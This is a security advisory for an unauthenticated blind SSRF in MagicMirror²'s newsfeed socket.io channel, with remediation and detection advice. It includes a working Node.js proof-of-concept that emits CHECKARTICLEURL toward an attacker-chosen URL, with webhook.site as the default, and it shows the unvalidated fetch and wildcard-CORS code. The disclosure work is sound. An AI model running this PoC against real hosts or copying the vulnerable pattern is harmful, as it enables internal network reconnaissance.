GHSA-998g-7v5w-cr7g: SSRF
Vulnerability — Blind SSRF via CHECKARTICLEURL (MagicMirror² newsfeed)
Analysis of the PoC exploit-ssrf-newsfeed.js. Target: newsfeed/nodehelper.js of MagicMirror², socket.io namespace /newsfeed.
---
Identification
| Field | Value | |-------|-------| | PoC file | exploit-ssrf-newsfeed.js | | Endpoint | socket.io namespace /newsfeed, notification CHECKARTICLEURL | | Precondition | reach the mirror's HTTP port (no authentication required) |
---
Description
The checkArticleUrl() function in newsfeed/nodehelper.js runs fetch(url, { method: "HEAD" }) with zero validation of the URL and returns ARTICLEURLSTATUS { url, canFrame }.
This gives the attacker a boolean + timing oracle to map internal hosts and ports: presence, absence, and response time reveal which internal services are alive. It is a "blind-ish" SSRF — the attacker doesn't see the body, but forces the server-side request and observes the effect on the target.
The actual proof is observed on the target side (the server-side HEAD shows up in the internal service's log), since the canFrame field alone leaks little.
---
Root cause: unauthenticated socket.io channel + permissive CORS
The socket.io server accepts connections from any origin and with no authentication:
js const io = new Server(server, { cors: { origin: /.$/, credentials: true } });
The /newsfeed namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.
---
Exploit (exploit-ssrf-newsfeed.js)
js const { io } = require("socket.io-client"); const TARGET = process.env.MM || "https://target/"; const URLTOHIT = process.env.SSRFURL || "https://webhook.site"; const socket = io(${TARGET}/newsfeed, { path: "/socket.io", transports: ["websocket", "polling"] });
socket.onAny((event, payload) => { if (event === "ARTICLEURLSTATUS") { console.log([+] ARTICLEURLSTATUS: ${JSON.stringify(payload)}); console.log("[!!!] Server performed a server-side HEAD request to the internal host (SSRF)."); process.exit(0); } }); socket.on("connect", () => { console.log([] Connected to ${TARGET}/newsfeed (no auth). CHECKARTICLEURL -> ${URLTOHIT}); socket.emit("CHECKARTICLEURL", { url: URLTOHIT }); }); setTimeout(() => { console.log("[] timeout"); process.exit(1); }, 12000);
---
Vulnerable target code (pattern)
js async checkArticleUrl(url) { const res = await fetch(url, { method: "HEAD" }); const canFrame = !res.headers.get("x-frame-options") && !/frame-ancestors/i.test(res.headers.get("content-security-policy") || ""); this.sendSocketNotification("ARTICLEURLSTATUS", { url, canFrame }); }
---
Impact
- Internal network scanning / port scanning: presence, absence, and response time reveal which internal hosts and ports are alive. - Forcing server-side requests to internal services (the HEAD reaches the target, as observed in the mm-internal log referenced by the PoC). - Although it's HEAD (no body), it serves as a reconnaissance primitive and a trigger for side effects on endpoints that react to GET/HEAD.
---
References - CWE-918: Server-Side Request Forgery (SSRF) - CWE-306: Missing Authentication for Critical Function - CWE-942: Permissive Cross-domain Policy with Untrusted Domains - OWASP: SSRF Prevention Cheat Sheet
This PoC and report are intended solely for authorized security testing / research in a controlled lab environment.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/magicmirrorto a version that resolves this vulnerability.Fixed in 2.37.0
Event History
Frequently Asked Questions
Who can realistically exploit this issue?
Instances whose HTTP port is reachable by an attacker are exposed. The socket.io /newsfeed namespace accepts the CHECK_ARTICLE_URL notification without authentication.
What access does an attacker need to exploit it?
An attacker needs network access to the mirror's HTTP port and can then submit an arbitrary URL through CHECK_ARTICLE_URL. The server performs a HEAD request to that URL, allowing probing of internal hosts and ports through timing and status behavior.
What can be done if patching is not immediately possible?
Restrict access to the mirror's HTTP port so untrusted users cannot reach the /newsfeed socket.io namespace. This removes the stated unauthenticated network precondition until a fix can be applied.
How can I investigate whether this has already been exploited?
Review logs on internal services for unexpected HEAD requests originating from the MagicMirror host. The proof of exploitation is expected on the target service side, because the returned canFrame value provides limited evidence by itself.